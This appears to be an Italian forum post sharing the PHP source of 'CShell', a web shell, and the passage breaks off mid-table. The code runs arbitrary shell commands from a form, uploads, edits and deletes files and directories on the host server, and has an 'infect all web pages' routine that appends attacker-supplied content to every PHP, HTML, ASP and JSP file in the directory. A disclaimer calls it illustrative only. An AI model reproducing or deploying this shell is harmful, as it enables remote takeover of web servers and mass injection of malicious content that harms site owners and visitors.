Scusate ma i caratteri non ci bastavano..
ecco il file php
Codice PHP:
<?php
error_reporting("E_ALL &~ E_NOTICE &~ E_WARNING");
/*
* CShell
* Shell in php by Crashinside
* Copyright: opensource
* L'autore declina ogni responsabilità sull'uso di questa shell.
* Solo a scopo illustrativo
* Versione: 1.5
* News <1.4>: Aggiunte immagini di files e cartelle
* News <1.5>: Si possono infettare tutte le pagine web
* Un rigraziamento a blacklight <http://blacklight.gotdns.com> perchè ho seguito la sua shell per creare la mia
* Un grazie anche a debug <http://debug.altervista.org> per avermi illuminato sul timer di generazione delle pagine
* Un grazie anche a mamo139 <http://mamo139.altervista.org> per avermi aiutato nella navigazione nelle directory
*/
?>
<?php
function getMicrotime(){
list($msec,$sec)=explode(" ",microtime());
return ((float)$msec+(float)$sec);
}
$start = getMicrotime();
function delete_dir($dir) {
if(!is_dir($dir)) {
return 1;
}
$handle = @glob($dir."/*");
for($i=0;$i<count($handle);$i++) {
if(is_dir($handle[$i]))
delete_dir($handle[$i]);
unlink($handle[$i]);
}
rmdir($dir);
return (is_dir($dir)) ? 1 : 0;
}
function getPerms($f) {
//By blacklight, edit by me
$mode = fileperms($f);
$perm = '';
$perm .= ($mode & 00400) ? 'r' : '-';
$perm .= ($mode & 00200) ? 'w' : '-';
$perm .= ($mode & 00100) ? 'x' : '-';
$perm .= ($mode & 00040) ? 'r' : '-';
$perm .= ($mode & 00020) ? 'w' : '-';
$perm .= ($mode & 00010) ? 'x' : '-';
$perm .= ($mode & 00004) ? 'r' : '-';
$perm .= ($mode & 00002) ? 'w' : '-';
$perm .= ($mode & 00001) ? 'x' : '-';
return (is_dir($f)) ? "d".$perm : $perm;
}
function is_editable($f) {
$exts = array('txt','php','html','xml','c','cpp','py','jsp','js','vbs','htaccess','css');
$a = pathinfo($f);
return (in_array($a['extension'], $exts)) ? 1 : 0;
}
function appr($num,$n) {
settype($num, 'string');
$a = explode(".",$num);
$b = $a[1];
settype($b,'string');
$res = $a[0].".";
for($i=0;$i<$n;$i++) {
$res .= $b[$i];
}
return $res." kb";
}
function Actions($f,$dir,$e=1) {
if($e == 1)
return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a> <a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=edit&file=".$f."\">E</a>";
else
return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a>";
}
function DirActs($dire,$dir) {
return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=deletedir&d=".$dire."\">D</a>";
}
$root = getcwd();
$dir = (isset($_GET['dir'])) ? $_GET['dir'] : getcwd();
$ext_b = array('php','html','htm','asp','jsp');
?>
<html>
<head>
<title>CShell -- Crashinside</title>
<style type="text/css">
p#title {
font-size: 40;
font-weight: bold;
color: #666666;
font-style: italic;
text-align: center;
}
span#info {
font-family: Courier;
color: white;
}
body {
background-color: black;
color: white;
}
.text {
background-color: transparent;
color: white;
}
a {
color: red;
text-decoration: none;
}
a:hover {
color: white;
text-decoration: underline;
}
</style>
<script type="text/javascript">
function check(n) {
switch(n) {
case 0:
if(document.forms[n].file.value != '') {
document.forms[0].submit();
} else {
alert('Non hai messo il percorso al file!');
}
break;
case 1:
if(document.forms[1].cmd.value != '') {
document.forms[1].submit();
} else {
alert('Scrivi un comando');
}
break;
case 2:
if(document.forms[2].txt.value != '') {
document.forms[2].submit();
} else {
alert('Scrivi il testo');
}
break;
}
}
</script>
<!-- CShell by Crashihside -->
</head>
<body>
<p id="title">CShell</p>
<span id="info">
Host: <?php print $_SERVER['SERVER_NAME']; ?><br>
Server: <?php print $_SERVER['SERVER_SOFTWARE']; ?><br>
<?php print (is_callable("php_uname")) ? "Sistema operativo: ".php_uname()."<br>" : ""; ?>
</span>
<pre>
</pre>
<form enctype="multipart/form-data" action="" name="files" method="post">
<table border="0">
<tr>
<td>Carica un file:</td>
</tr>
<tr>
<td><input class="text" type="file" name="file"></td>
</tr>
<tr>
<td><input type="button" onclick="check(0)" value="Carica"></td>
</tr>
</table>
</form>
<?php
if(isset($_FILES['file'])) {
$name = basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $dir."/".$name)) {
print "File caricato con successo.<br>";
print "Nome: <b>".$name."</b><br>";
print "Tipo: <i>".$_FILES['file']['type']."</i><br>";
print "Dimensione: <b>".$_FILES['file']['size']."</b><br>";
} else {
print "Errori nell'upload del file";
}
}
?>
<form action="" name="cmd" method="post">
<table border="0">
<tr>
<td>Esegui un comando:</td>
</tr>
<tr>
<td><input type="text" class="text" name="cmd"></td>
</tr>
<tr>
<td><input type="button" onclick="check(1)" value="Esegui">
</tr>
</table>
</form>
<form action="" name="infect" method="post">
<table border="0">
<tr>
<td>Infetta tutte le pagine web</td>
</tr>
<tr>
<td>Testo: <input name="txt" type="text" class="text"></td>
</tr>
<tr>
<td><input type="button" value="Infetta" onclick="check(2)"></td>
</tr>
</table>
</form>
<?php
if(isset($_POST['cmd'])) {
$out = array();
exec($_POST['cmd'],$out);
print "<hr><i>Risultato del comando:<br>";
foreach($out as $l)
print $l."<br>";
}
if(isset($_POST['txt'])) {
//fino alla fine dell'if lo script non è mio ma di Andreabont <andreabont@yahoo.it>
//K//
$path=__FILE__;$nme=explode("\\",$path);$nmec=count($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if(in_array($f2[($f2c - 1)], $ext_b)){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)]; if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen("$f","at");fputs($a,"\n<?php\n//K//\r\n?>".$_POST['txt']."<?php//K//\r\n?>");fclose($a);}}else{}}
//K//
print ($a) ? "Files infettati" : "Errore, non tutti i files potrebbero essere infettati";
}
if(isset($_GET['mode'])) {
switch($_GET['mode']) {
case "edit":
$f = file($dir."/".$_GET['file']);
print "<b>Edit file</b><br>";
print "<form action=\"\" method=\"post\" name=\"edit\">";
print "<textarea name=\"txt\" class=\"text\" cols=\"80\" rows=\"20\">";
foreach($f as $a)
print htmlentities($a);
print "</textarea><br>";
print "<input type=\"submit\" value=\"Salva\">";
print "</form>";
if(isset($_POST['txt'])) {
$f = fopen($_GET['file'], "w");
fputs($f, $_POST['txt']);
fclose($f);
print ($f) ? "File modificato con successo." : "Errore nella modifica del file";
}
break;
case "delete":
$a = unlink($dir."/".$_GET['file']);
print ($a) ? "File cancellato con successo" : "Errore nella cancellazione del file";
break;
case "deletedir":
$a = delete_dir($dir."/".$_GET['d']);
print ($a == 0) ? "Directory cancellata con successo" : "Errore nella cancellazione della directory";
break;
}
}
?>
<hr>
Directory corrente: <b><?php echo ($root != $dir) ? $root."/".$dir : $dir; ?></b><br>
<table border="0" width="50%">
<?php
if($root != $dir && $dir != "./") {
$det = explode("/",$dir);
$new = (sizeof($det) != 1) ? $det[sizeof($det)-2] : "./";
echo "<tr>";
echo "<td><img src=\"http://www.iconfinder.net/iconlib/nuove/22x22/actions/up.png\"> <a href=\"".$_SERVER['PHP_SELF']."?dir=".$new."\">Indietro</a></td>";
echo "</tr>";
}?>
<tr>
<td>Nome</td>
<td>Permessi</td>
<td>Dimensione</td>
<td>Azioni</td>